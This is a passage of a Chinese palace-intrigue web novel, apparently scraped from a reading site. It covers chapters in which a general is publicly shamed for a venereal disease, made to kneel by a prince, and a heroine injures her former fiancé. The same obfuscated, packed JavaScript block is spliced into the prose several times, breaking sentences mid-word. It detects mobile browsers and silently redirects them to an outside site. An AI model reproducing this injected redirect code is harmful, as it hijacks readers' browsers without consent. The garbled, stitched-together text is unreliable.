“哎,你别走啊,这上面到底写着什么?” “什么祁将军,难道躺在地上的这穷酸乞丐,是那位新上任禁卫军统领的龙武将军?不可能吧?” “起开,没卵蛋的东西,你不敢读,老子来读。老子可不怕他们当官的。” 一个游侠模样的男子一把推开秀才。 从地上捡起那张纸,声如洪钟地念起来。 两句话实在是太短了。 游侠男子一瞬间就读完了。 读完后,所有人的脸色都像是便秘般那么难看。 “要**,纸上是说,这男人得了脏病?哎呀,我们快离远点,脏病可是要传染的。” “将军,祁将军,将军您怎么睡在这里啊!” 一个武将打扮的男子拨开人群,急匆匆来到昏迷的祁瑞霖身边,伸手要将他扶起来。 “哎呀,小伙子,不能碰!这人得了花柳病,我听说花柳病是要传染的,你可别被祸害了!” 来人是祁瑞霖的副将庞若,听到众人的劝阻,他吓了一跳。 口中大喝着:“你们莫要胡说八道,将军洁身自好,怎么可能染上脏病?” 话虽这么说,可伸出去的手,却迅速缩了回来。 “嚯,他叫祁将军,这得了脏病的男人,还真是位将军啊?” “一个将军怎么被人丢在春香阁外?” “还用说吗?肯定是喜欢拈花惹草,染了脏病还要去祸害人家姑娘,所以被丢出来了呗。” 祁瑞霖双目紧闭不能动弹。 可一双耳朵却听得清清楚楚。 听到这里,他再也忍不住,调动全身的内力怒吼了一声。 “你们都给我闭嘴!” “本将军何时得了花柳病?你们胆敢再胡说八道一句,信不信本将军杀了你们?” 庞若见祁瑞霖苏醒,欣喜地叫了一声:“将军,您醒了?” “昨晚您到底去哪了?郭大人他们说你把他们都赶出去,要亲自教训个不长眼的妓子。” “可后来,春香阁里却找不着你的人和那妓子了。” 同席的那些官员还以为祁瑞霖是气不过被一个**指着鼻子骂。 又嫌在春香阁不好把人处置的太过。 所以带着莺莺去私宅凌虐了。 结果,祁瑞霖府上的仆人等了一晚上都没等到祁瑞霖。 才让他的副将急匆匆出来寻找。 一提到昨晚,祁瑞霖的面皮就忍不住剧烈地抽动了一下。 极端恐怖的记忆,伴随着全身的剧痛,汹涌而来。 他痛的脸色苍白,冷汗涔涔。 表情却越发仇恨狰狞。 “哎呀,你们快看他的脖子,还有手上,全是红疹!” “这不是得了花柳病是什么?” “刚刚还说我们胡说八道,要杀了我们呢!将军了不起啊,就能随意**了?” “我听说,这位祁将军再过三个月就要与柳家千金成亲了,这……柳家能要一个得了花柳病的女婿?” “唉,柳小姐可是京城第一才女,要嫁给这种**,还要染上一身病,真是太可怜了!” 周围的窃窃私语声传入耳中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773058|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 庞若原本都要搀扶祁瑞霖的手,却像是被火烫到一般缩了回来。 惊恐的目光在祁瑞霖的红疹上流连。 将军他,他当真得了花柳病? 不过听说,祁瑞霖在被认回祁家,成为龙武将军前,过得都是苦日子。 被认回祁家后,或许是第一次品尝到这种纸醉金迷的生活。 所以成日里都在外面花天酒地、夜夜笙歌。 有皇商为了讨好祁瑞霖,还在城郊专门建了个庄子。 把各种环肥燕瘦的美人儿送给祁瑞霖耍玩。 有段时间,甚至还有祁将军天赋异禀,能夜御七女的谣言传出来。 祁瑞霖觉得这是对他的奉承,便也笑着没有澄清。 这样荒淫无度的生活,直到祁家与柳家定下婚约,才有所收敛。 可谁知道是真的收敛了,还是避着柳家的耳目,在背后偷吃。 而常在河边走哪有不湿鞋的。 庞若是真的怕祁瑞霖染上了花柳病。 祁瑞霖虎目圆睁,一个巴掌狠狠甩过去。 “你也敢怀疑本将军染了花柳病?” 庞若被抽的半边脸都肿了起来,连连道:“属下不敢,属下不敢。” 可身体,却非常诚实地不敢靠过去。 “哎,回春堂的郑大夫不是在这里吗?让郑大夫看看不就知道是不是花柳病了?” 很快,一个须发花白的老头被推了出来。 他脸上满是恐慌,心中简直懊悔到了极点。 早知道就不来这里凑热闹了呢! “老夫医术不济,看不准,看不准地!你们快放手,老夫要回去坐诊了!” 祁瑞霖厉声喝道:“不许走,你,过来给本将军诊脉!听到没有?” 郑大夫苦着脸走上前来,颤巍巍地伸手搭上脉搏。 祁瑞霖剧烈喘着气,低吼道:“诊出来什么脉,大声地告诉所有人!” “要是敢有半句虚言隐瞒,别怪本将军不客气!” 他这般强硬,倒是让围观众人对之前的想法产生了怀疑。 难不成这位祁将军真的没得花柳病? 所以才敢让大夫当场给他诊脉。 第一百七十章 萧墨宸,是他们的信仰 郑大夫也是这么想的。 所以他定了定神,小心翼翼地摸上了祁瑞霖的脉搏。 祁瑞霖满脸的不耐烦。 见老大夫摸了半天脉也不吭声,正要大声喝骂。 却见郑医生突然脸色大变。 紧接着,像是碰到了什么脏东西一样,一把甩开他的手。 脚下连连后退了好几步。 那双浑浊的眼睛恐惧又恶心地看着祁瑞霖。 他以为这年轻将军当真没得病。 没想到非但得病了。 还是花柳病里最厉害的霉疮。 虽然做大夫的知道这种病不会随意传染人。 可一想到霉疮病人最后那满身脓包,不成人形的模样。 他还是觉得一阵作呕。 回去一定得好好用药水泡泡手。 老大夫什么话都没有说。 可这表情,这行动,却等于把什么话都说尽了。 人群刚刚已经围拢过来了一点。 此时又哗的一下散了。 所有人都用嫌恶又惊惧的模样看着祁瑞霖。 老百姓是怕大官。 可此时的祁瑞霖实在是太狼狈了。 顶着一张猪头脸,无论喝骂什么都没有半点气势。 再加上那说出去都嫌丢人,令人作呕的脏病。 百姓顿时忘了对将军的恐惧,对着祁瑞霖就是一阵指指点点,议论纷纷。 “刚刚那么气势汹汹,我还当真冤枉他了呢!呸,原来是真得了脏病!” “哎呀,他都这样了,还要去祸害柳家小姐吗?你说我们要不要去柳家的下人那悄悄说一声?” 祁瑞霖简直要气疯了。 他怎么可能得花柳病? 他睡得每一个女人都是完璧之身。 干净地不能再干净了,才被允许送到他床上。 可,看着郑大夫那惊恐的眼神。 再低头看看自己手上莫名其妙长出来的红疮。 祁瑞霖脸上露出了明显恐惧的神色。 难道,他当真染上了花柳病? 难道昨天晚上,萧墨宸不止让墨影卫折磨他。 还让他染上了花柳病? 祁瑞霖的胸口因为极度的恐惧而不停起伏着。 豆大的汗珠从他的额头滚落下来。 忽然,他的视线落在人群外的一架马车上。 马车低调的停在拐角处。 车帘掀起,露出一张如诗如画的秀美脸庞。 嘴角正噙着笑意往这边看。 祁瑞霖的瞳孔一阵剧烈收缩。 突然大步朝着那马车冲过去。 “滚开!都给我滚开!” 人群纷纷避如蛇蝎。 祁瑞霖几步冲到马车前,伸手一拉。 硬生生将马车帘子拽扯下来。 里面坐着的一男一女便显露在人前。 男子丰神如玉,俊美如谪仙。 女子国色天香,娇颜胜海棠。 与祁瑞霖此刻的狼狈猪头脸形成鲜明的对比。 看到两人,祁瑞霖的双目一片赤红。 “你们到底对我做了什么?” “为什么好端端的,我会染上花柳病,是不是你们……” 姜南溪笑了一声,打断他的话:“哎呀,这位是祁将军吧?你在说什么话,我和王爷怎么都听不懂呢?” “什么叫我们对你做了什么?祁将军自己不知洁身自好,成日流连烟花之地,自然有可能会染上花柳病。而我和王爷不过是白日无事来街上闲逛,顺便看个热闹,祁将军怎么能把屎盆子往我们身上扣呢?” “是,御王之前确实是你的上峰,也曾将你从一个小兵,提拔成校尉,让你有了建功立业的机会。” “可你在被祁家认回去后,不是说了自己现在早已能与王爷平起平坐,再也不听王爷命令了吗?” “祁将军都这么过河拆桥,忘恩负义了,王爷又不是你爹,你也不是王爷的孙子。” “难道王爷还能管着你裤裆里那点事,不让你去逛青楼吗?” “如今你因为成日逛青楼染上了脏病,就把责任往我们家王爷身上推,倒是让大家来评评理,祁将军这莫名其妙的指控,有没有道理?” 姜南溪一番话噼里啪啦说的又快又紧密。 完全不给祁瑞霖插话的间隙。 偏偏她的声音又极其清脆悦耳,字字清晰。 哪怕这周围站了那么多百姓,还吵吵嚷嚷的。 却愣是有本事让每个人,把她的每句话,听得清清楚楚。 人群陷入了短暂的静寂。 紧接着,是一片姜南溪都没想到的沸腾哗然。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773059|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御王,马车里的是御王殿下!” “太好了,原来御王殿下还好好活着!” “老天保佑,老天保佑啊,我就说,像御王殿下和镇北军那样保家卫国的好人,不会轻易死的!” “都是因为有御王殿下和赵将军那样的好官在边境拼杀,才有我们百姓的好日子过啊!” “可是我听说御王殿下的腿残废了,再也不能上战场了。” “唉,上天不公啊,为什么这种**无耻之徒能当将军,御王却再也上不了战场!” “御王殿下,就算您上不了战场,小的也每日在家给您供奉长生排位,您一定要平安健康地活下去啊!” 也不知道是谁带的头。 竟然有人跪下去给马车里的萧墨宸磕头。 紧接着在场有一半的百姓都跪了下去。 尤其是那些满鬓风霜的年长老人,此时已经泪流满面。 姜南溪怔怔看着这一幕。 又扭头看向身后的男人。 第一次对萧墨宸的身份与那三十万镇北军,有了清晰的认知。 为什么金铃豁出性命也要救自己? 为什么影七和影十三宁可出卖自己为牛马,也要求得自己的原谅? 为什么司玄中那样的笑面虎,都愿意对自己低声下气? 为什么镇北军伤残营的兵被那样对待,依旧对他们的主帅深信不疑? 因为,自己是唯一能救萧墨宸的人。 而萧墨宸,是他们的信仰。 是三十万镇北军的灵魂。 也是守护西楚这个国家铜墙铁壁的基石。 萧墨宸一死。 三十万镇北军就会成为权力斗争的牺牲品。 甚至沦落到祁瑞霖这样的**败类手中。 到那时,基石崩塌。 西楚崩亡。 最苦的永远是这些平头百姓。 是如莺莺那样,城破家亡,无处容身的苦难殉葬者。 姜南溪从未有一刻比此刻更入骨地意识到。 萧墨宸,他不该死。 至少不该死在这些令人作呕阴谋诡计,权力斗争之下。 就算要死,他也该死在战场上。 马革裹尸,浴血疆场。 为了保护西楚的百姓,以身报国。 那才是他该有的归宿! 第一百七十一章 小惩大诫:跪三个时辰 看着跪了一地的百姓,祁瑞霖的面容一阵扭曲。 这一年来,他青云直上,加官进爵。 身边全是讨好奉承他的权贵富豪。 在这些人口中,他已是掌控镇北军的唯一人选。 而萧墨宸,是个病入膏肓的残废。 他们说,萧墨宸自从受伤后自暴自弃,早已成了个人人厌弃的废物。 圈子里谈起当初权倾朝野的御王,都是忍不住地幸灾乐祸,嘲讽揶揄。 慢慢地,祁瑞霖也就信了。 信了萧墨宸早已是人人厌弃的废物。 是被他踩在脚下,当他踏脚石的手下败将。 连带着从前对萧墨宸的崇敬与恐惧,也消失地一干二净。 可直到此时此刻,祁瑞霖看着这些对他嫌恶鄙夷,却哭着跪拜萧墨宸的百姓。 那种根植于心底的挫败恐惧再次涌了上来。 他抬起赤红的眼,看向萧墨宸。 萧墨宸也正好看着他。 居高临下,清冷淡漠,一如当初在军营里。 死死压迫着他。 也根本不将他的那点小心思放在眼里。 良久,萧墨宸的嘴角缓缓勾起来:“祁瑞霖,你是在质问本王吗?” “你觉得是本王让你染上了花柳病,变成如今这副模样?” 祁瑞霖歇斯底里道:“不是你还有谁?昨晚就是你让墨影卫掳走了我,对我严刑拷打,还用阴诡手段让我染上了花柳病。萧墨宸,你有胆做,没胆子承认吗?” 啪——! 一个巴掌甩在祁瑞霖脸上。 影十三收回手,面无表情道:“王爷的名讳,也是你能叫的?” 祁瑞霖只觉得面颊火辣辣的。 不只是被打的疼痛。 还有落在他脸上的目光,嘲讽又幸灾乐祸。 甚至还有人躲在人群中偷偷叫好:“打得好,不敬御王的白眼狼就该打!” 祁瑞霖牙齿咬的咯咯作响:“御王殿下,你敢说,昨晚没有对末将动手吗?” 萧墨宸笑了一声:“你有证据吗?” 祁瑞霖:“你说什么?” 萧墨宸掀起眼帘,漫不经心地看向他:“本王问你,有证据证明我让墨影卫打你了吗?有证据证明你身上的花柳病,是本王让你染上的吗?” 祁瑞霖顿时哑口无言。 他甚至第一时间想起了昨晚。 姜南溪指控他派秋海棠的**追杀他。 自己就理直气壮地反问他们有证据吗? 如今,这个回旋镖结结实实地扎在了他的身上。 祁瑞霖哪里会有证据? 昨晚他被抓的时候,身边只有莺莺那**。 而莺莺如今也早已不见踪影。 萧墨宸:“祁将军若是有证据,那我们便去皇上面前分辩几句。若是没有证据……” 俊美的面容骤然冷了下来:“那是谁给你的胆子,来质问本王?” “祁瑞霖,本王再问一遍,你有证据吗?” 祁瑞霖额头上的冷汗涔涔落下来:“末将……末将没有!” “啊——!” 话音刚落,祁瑞霖只觉得双腿上传来一阵剧痛。 他忍不住发出一阵惨叫。 双膝一软,砰一声跪倒在地上。 萧墨宸:“祁瑞霖,你可知道,污蔑亲王,是什么罪?” 祁瑞霖心中简直憋屈到了极点。 他明知道这不是污蔑。 他昨晚就是结结实实被用了一顿刑。 如今到底有没有染上花柳病都还不知道。 可面对萧墨宸的逼问,他却连半句反驳的话都说不出。 砰! 一个臭鸡蛋不知道从哪里飞出来,砸在祁瑞霖脸上。 但也在他的额头炸开,黏满了他的头发眉毛。 一股熏人作呕的臭味在空气中弥漫开来。 祁瑞霖简直被砸傻了。 从他成为禁卫军统领后,何时受过这样的**? “谁,是谁砸我!” 然而,人群静悄悄的。 百姓们眼观鼻鼻观心,一脸我特乖巧,什么坏事也没干的模样。 结果等祁瑞霖刚喘过一口气。 烂番茄烂菜叶又劈头盖脸砸了过来。 有人躲在人群后,捏着嗓子大叫。 “污蔑御王,不得好死!” “这种人怎么能当禁卫军统领,简直丢我们西楚的脸!” “对,得了脏病的烂人,怎么能当将军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773060|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “撤了他,把他打入大牢,给他抄家灭族!” 祁瑞霖气炸了肺。 暴跳如雷地站起来,想要去寻找污蔑他,诅咒他的人。 可刚起身,背后就传来一股大力。 膝盖重新重重砸回地面,发出咔一声巨响。 祁瑞霖疼的面目扭曲,眼泪都差点流出来。 身后传来影十三冷飕飕的声音:“祁将军,主子问你的话,你还没答呢!” 冰冷的刀锋架在他的脖子上。 祁瑞霖打了个哆嗦。 他满心的不甘怨恨,却还是只能咬着牙道:“是末将言行无状,冲撞了王爷。还……还请王爷恕罪!” 萧墨宸连眼皮也没抬:“看在你也曾在本王麾下效力的份上,本王就不与你计较了。” “你便在这街道上跪三个时辰,以作小惩大诫吧。” 祁瑞霖惊怒地瞪大眼。 他今日已经够丢人了。 而且全身上下疼痛难当,满身的红疹也不知道究竟是染了什么病。 萧墨宸却还要他在这里跪三个时辰? 这是要他尊严扫地,还要他的命啊! 萧墨宸,你好狠好毒! 他赤红着双目瞪着萧墨宸,眼中满是怨毒。 萧墨宸却连看都没看他一眼:“影九,你留在这里陪着祁将军受罚!” “若是祁将军罚不够三个时辰,或跪的不够标准,你就将他带来御王府。” “本王亲自教他如何罚跪!” 一道身影如影子般出现,站到了祁瑞霖身后。 明明只是个其貌不扬,毫无存在感的青年。 可祁瑞霖一看到他,身体就本能地颤抖,脸上的血色也褪的干干净净。 昨晚被酷刑折磨的记忆再度涌上心头。 让他到了嘴边的话,再也说不出口。 萧墨宸直到此时才抬起眼帘,似笑非笑地看向祁瑞霖:“祁瑞霖,你对本王的处罚不服,大可以去找御史**本王,去敲登闻鼓告御状,本王拭目以待。” 说完,一挥手。 马车立刻调转方向,缓缓离去。 只留下跪在地上的祁瑞霖咬的牙齿咯咯作响,眼中的怨毒与不甘如毒蛇的浓汁翻涌沸腾。 第一百七十二章 她要解除婚约,去找御王 而满街的百姓却是对着马车离去的方向,再次跪拜磕头。 尽管那个高高在上的御王没有多看他们一眼,没有与他们说一句话。 他们却还是感激而虔诚地叩拜。 祝愿他们西楚的守护神早日康复。 …… 远处街角,一架豪华马车内。 车帘放下,柳雪菡再也忍不住泪如雨下。 “爷爷,这便是你让孙女嫁的良人吗?” “刚刚你听到了吗?祁瑞霖他已经染上了花柳病,孙女若是嫁给他,一辈子就毁了!” 柳雪菡对面,坐着个头发花白,却精神矍铄的老人。 正是当今的户部尚书,柳家的现任家主,柳安鹤。 他透过车帘的缝隙,看着那窝囊跪在街道上的身影,眼底掠过一抹嫌恶。 柳雪菡见他不语,忍不住又哭道。 “而且,祁瑞霖他算什么东西,从前不过是个粗鄙的乡野莽夫,即便被祁家认了回来,也摆脱不了妾生子的卑贱身份。” “孙女若是甘心嫁给这般货色的男人,当初又何必与御王退亲呢?” 一想起刚刚坐在马车内的萧墨宸与姜南溪。 柳雪菡就忍不住绞紧了绢帕,眼中透出浓浓的嫉妒和不甘。 当年,是他得知萧墨宸不可能有前途,所以主动选择退亲。 可她可以退亲,可以再选个更好的夫君嫁了。 萧墨宸却不能娶别的女人。 更不能喜欢上别的女人。 这两年,萧墨宸又先后订了两门亲事。 最终都无疾而终。 世人都传言,御王殿下对她情根深种,娶不到她,宁愿谁都不娶。 柳雪菡心中是极其欢喜的。 说的人多了,连她自己也觉得,萧墨宸就是对她求而不得。 可谁知,萧墨宸身边却突然出现了姜南溪。 柳雪菡怎么都想不通。 萧墨宸为何会看上这么个声名狼藉的县主? 她以为,姜南溪的下场会和御王的前几任未婚妻一样。 可皇上赐婚,公告天下。 萧墨宸甚至愿意让她与自己同乘一辆马车出行。 偏偏她自己的未婚夫,又是如此的令人作呕,上不得台面。 这让柳雪菡怎么能不愤怒,不委屈? 心中更是升起了一种自己的东西被人抢走的嫉妒和怨恨。 柳雪菡见对面的老人迟迟不说话。 不由急的轻轻拽了拽柳安鹤的衣袖:“爷爷,你就让孙女退了这门亲吧?这个祁瑞霖实在窝囊废物,根本不可能取代御王掌管镇北军,孙女就算嫁了他,也不会对柳家有太多助益的。” 柳安鹤将视线挪回来,在车厢上轻轻扣了扣。 才不疾不徐道:“镇北军中的将领都是茅坑里的石头,让他们背叛萧墨宸,他们死都不会愿意。” “但镇国公要接手这三十万镇北军,除了从御王手中拿到一半兵符,还需要有一个了解镇北军的人来离间分化他们,才能将镇北军完全收为己用。” “祁瑞霖是唯一符合条件的人选。” 镇国公,便是楚家的现任家主,同时也是镇北军前身的领军主帅,楚战天。 柳安鹤轻轻叹了口气,眉目慈和地伸出手,搭在孙女肩膀上,声音温和,尊尊诱导。 “菡雪,爷爷知道这些年委屈你了,但你和祁瑞霖的婚事,还不到解除的时候。” “不过你也不用太过忧心,只要等祁瑞霖从御王手中接过镇北军,达成镇国公的目的,他这颗棋子自然就没用了。到时候,爷爷会找人弄死他,自然会风风光光把你接回来。” 柳雪菡急道:“可是爷爷……” 到那时,她早已是残花败柳,甚至染了一身脏病。 哪里还能觅得好夫婿? 又哪还有什么前途名声可言? 柳安鹤:“好了,你不用再说了。此事就这么定了。” 老人扭过头,不再理会柳雪菡。 话虽说的温和慈祥,可传达的意思却是不容置喙的命令。 柳雪菡咬紧了牙关,泪水在眼眶里打转。 不! 她绝不会嫁给祁瑞霖那种肮脏卑贱的东西。 与其指望祁瑞霖接手镇北军,她……她倒不如去接近御王。 只要她肯回头,御王一定会重新为她倾倒。 到那时,她便劝御王将镇北军交给楚家。 到时,爷爷自然会知道,她的选择才是正确的。 === 御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773061|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王府门口。 一辆没有车帘的马车缓缓停下。 马车内坐着一男一女。 男子容貌俊秀倾城,让人望之便难以挪开目光。 此时他正闭着眼,仿佛在小憩。 可若是看他拢在袖子中的手。 却会发现男子那修长如玉的手指,正因为紧张而微微攥紧。 就连他的呼吸,也是刻意压低的。 因为这一路来,马车中的少女经常一瞬不瞬盯着他。 时而垂眸思考,闭幕沉思。 时而又像是研究稀有动物一样研究他。 萧墨宸有好几次都想质问姜南溪这女人到底盯着他看什么。 可是每当他恼怒望过去。 却总是恰好碰上姜南溪闭目沉思。 萧墨宸总觉得自己若是开口询问,就好似落了下风。 只得将到了嘴边的话咽回去。 到后来,索性就假装闭目睡觉。 姜南溪却不知道某王爷有那么多的内心戏。 她时而闭目,时而睁眼盯着萧墨宸。 是因为在空间中对照查看萧墨宸的体检情况。 随后思考完善的治疗策略。 是的,在看到百姓对着萧墨宸下跪开始。 她就决定,要治好萧墨宸。 虽然狗王爷有时候不做人。 可这不妨碍,镇北军需要他。 西楚国的百姓需要他。 “咳,王爷,县主,到了!” 赶车的见马车停了半天,车里的两个主子都没动静。 忍不住回过头去看了一眼,偷偷提醒。 姜南溪猛地回过神来。 连忙意识退出系统,从马车上一跃而下。 而车厢中的萧墨宸,感受到落在自己身上的灼热视线消失。 才缓缓睁开眼来。 但姜南溪刚落地,就听到一个盛怒的声音。 “南溪,你昨天晚上去做什么了?” 姜南溪愕然抬头。 就见从定远侯府的石狮子旁,冲出来一个熟悉的人影。 竟是沈翊轩。 只见沈翊轩还穿着昨天姜思瑶及笄宴上的服饰。 可却完全没有了昨日的意气风发,潇洒倜傥。 第一百七十三章 这么油腻却这么自信 沈翊轩的眼下有浓重的青黑,双瞳遍布红血丝。 就连平日输的一丝不苟的头发,此时也凌乱的散下来不少碎发。 脸上昨日被萧墨宸打出来的伤口,非但没有愈合,反而越发红肿。 整个人说不出的憔悴狼狈。 他几步冲到姜南溪面前,一把抓住她的手。 气急败坏地怒吼:“我定远侯府就是这么教养你的?” “一个未婚女子夜不归宿,还与野男人勾勾搭搭,姜南溪,你……你怎能如此放荡不要脸?” 姜南溪简直无语了。 她用力挣扎了一下。 可是沈翊轩这次的力气却出奇的大。 双手如铁钳一样死死捏着她的小臂,甚至用上了内力。 力气大的仿佛要将她的骨头捏碎。 姜南溪痛的眉头皱起来,语气也冷了下来:“沈翊轩,要我再提醒你一句吗?我跟你之间早就没有半点关系,你算什么东西,又是以什么身份来质问我?” 沈翊轩赤红着双眼,声音嘶哑地道:“南溪,你就非要如此吗?” “我知道你恨我移情别恋,恨我要娶思瑶为妻,所以想尽了办法报复我。” “可你不该用作践自己的办法,你知不知道,你这样做,我真的很心痛?” 姜南溪:“……” 姜南溪可太知道这位前未婚夫自说自话自作多情的本事了。 她根本没兴趣和沈翊轩纠缠。 手腕一翻,一根金针落在指间。 姜南溪往沈翊轩的麻穴上一扎。 沈翊轩痛呼一声,不得不松手。 姜南溪连半句废话都懒得跟她多说,就要进御王府。 早在她和萧墨宸去看祁瑞霖热闹前。 莺莺姑娘就被送到了御王府中,免得他被祁瑞霖报复。 姜南溪想起这位小姑娘因为太过有骨气,被祁瑞霖打得吐血。 也不知道有没有伤到内脏。 她打算给莺莺好好检查一下。 沈翊轩猛地冲过来,拦住她的去路。 又惊又怒道:“南溪,你有没有听到我的话?我做的这一切都是为了你好,你为何要这般不知好歹?” 姜南溪冷笑一声:“为我好?” “所以你移情别恋姜思瑶,却还要贪图我的嫁妆,是为了我好?” “强迫我当平妻不成,就下药想生米煮成熟饭,让我当妾,也是为我好?” “你们定远侯府对人好的方式,可真是特别啊!” 沈翊轩闻言眼睛一亮:“南溪,你果然在吃……” 姜南溪早料到了这自恋狂要说什么。 迅速打断她:“那要不然,我为了沈世子好,也给你下点药,让你爬上梁王的床如何?听说梁王出了名的喜好美色,只要是俊美青年,来者不拒。且梁王出手大方,只要上了他床的男子,都会给予丰厚的报酬。” “定远侯府如今不是穷的连我的嫁妆都还不出来了吗?想必沈世子只要爬上梁王的床,必然能为定远侯府带来一大笔资财。” 沈翊轩脸上那自信飞扬的表情再也维持不下去。 一张俊脸几乎狰狞扭曲,双目喷出熊熊怒火瞪着姜南溪。 仿佛她说了什么十恶不赦的话。 姜南溪笑眯眯道:“沈世子,我都如此为你着想了,你怎么好像还不太高兴啊!” 沈翊轩简直要气疯了:“你让本世子去当娈童,你……你怎么敢?” “笑话!”姜南溪嗤笑一声,“你都敢强迫我这个堂堂县主当妾了,我送你去当娈童,不是礼尚往来吗?怎么?你那么做就是为了我好,我只是说说而已,就是给了你天大的侮辱?” “沈翊轩,都说人不要脸,至贱无敌,我看你们定远侯府的人,都贱的让人看到就想吐了。” 沈翊轩被骂的面皮紫涨,胸口不住起伏。 可偏偏,姜南溪这一番话半点面子都没给他留。 一时间让他连自作多情的余地都没有了。 但眼见姜南溪要走,他深吸了一口气。 突然又重新恢复了那种深情和好意被辜负的怨夫模样。 他退后一步,再次拦住了姜南溪。 哑声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而轮椅上坐着的男人,不是他刚刚说三个月都活不了的御王又是谁。 沈翊轩大骇:“萧墨宸,你……你怎么会在这里?” 啪——! 影十三凌空一个巴掌狠狠抽在他脸上。 第一百七十四章 你全家都残花败柳 抽的沈翊轩哇的又吐出一口血。 “主子的名讳,也是你能叫的?” 看的姜南溪极其羡慕。 唉,她要是有影十三金铃他们的武力值就好了。 还用得着跟这恶心的蛇精病掰扯这么多吗? 直接揍得他怀疑人生不就行了? 不行,回头她还是得想想办法,提升自己的自保能力。 不能每一次都只能靠金铃她们保护,或者就只能狼狈逃命。 姜南溪笑眯眯地看着凄惨的沈翊轩:“哦,我刚刚没告诉你吗?” “沈世子问我昨晚夜不归宿,是跟哪个野男人去鬼混了?这个人,不就远在天边近在眼前吗?” 沈翊轩瞳孔剧烈收缩了一下:“刚……刚刚御王也在马车里?” 他气的大骂:“姜南溪,你为何不早告诉我?” 他若是早知道萧墨宸在马车里,又怎么会说那些话? 姜南溪看他的目光像在看智障:“我为何要告诉你?” 弄死定远侯府的人,她现在是不敢。 可若是有萧墨宸代劳,弄死一个是一个,她不要太哈皮。 沈翊轩看向萧墨宸。 这个男人明明坐在轮椅上。 可看着他的目光却居高临下,冷淡而漠然,像在看一坨狗屎。 沈翊轩曾听父亲在房中歇斯底里地咒骂:“萧墨宸,你凭什么看不起我?我才是定远侯,我才是嫡长子,你凭什么不把我放在眼里?就因为你是公主血脉,所以就要永远地踩在我头上吗?不,我不服!我不服!” 那是沈翊轩第一次看到威严的父亲如此气急败坏,风度全失的模样。 而此时此刻,他也同样感受到了父亲的滔**火。 就好像是有个人将脚踩在他的脸上。 让他颜面全失,尊严全无。 尤其是,还是在姜南溪面前。 沈翊轩再也忍不住,嘶吼道:“难道我说错了吗?萧墨宸,你以为你还是曾经那个驰骋沙场,权倾朝野的御王吗?如今的你,只是个命不久矣的残废。就算你娶了南溪,能给她幸福吗?” “南溪她现在只是跟我赌气,脑子不清醒,所以才选择嫁给你。” “但总有一天,她会后悔的!” “可到那时,她就算后悔,想跪着回来求我娶她,我沈翊轩也绝不会再要这样一个残花败柳!” “所以你现在这样让皇上给你们赐婚,不是害她是什么?” 萧墨宸握在轮椅上的手指陡然收紧。 鸦羽般的长睫微微垂下,遮住了眼底暴戾幽冷的光。 只是还不等他说话,就听一旁的少女呵呵冷笑一声。 沈翊轩:“你笑什么?” 姜南溪迅速收敛了笑容,面无表情地走过去。 沈翊轩双目迸射出亮光,正要说话。 却见姜南溪的一只脚突然踩住他撑在地上的手臂,脚下猛一用力。 只听卡啦声响。 紧接着,沈翊轩面容骤然扭曲,发出一声杀猪般的惨嚎。 姜南溪若无其事地走过去,径直上了台阶。 结果都快迈过王府大门了,背后却半点动静都没。 她忍不住回头:“还不进去吗?” 影十三目瞪口呆地看看她,又看看沈翊轩。 像是第一次认识她。 姜南溪露出一个优雅得体的笑:“刚刚我走路的时候不小心,好像踩到了什么。” “不过这里是御王府门口,所有东西应该都是归御王府管的。” “王爷,我要是不小心踩坏了您王府门口的什么破烂玩意儿,您应该不会追究我吧?” 呵呵,敢说她是残花败柳! 你才残花败柳,你全家都残花败柳! 老虎不发威,真当她是Hello Kitty啊? 萧墨宸看看左手不自然弯曲,疼的面目扭曲的沈翊轩。 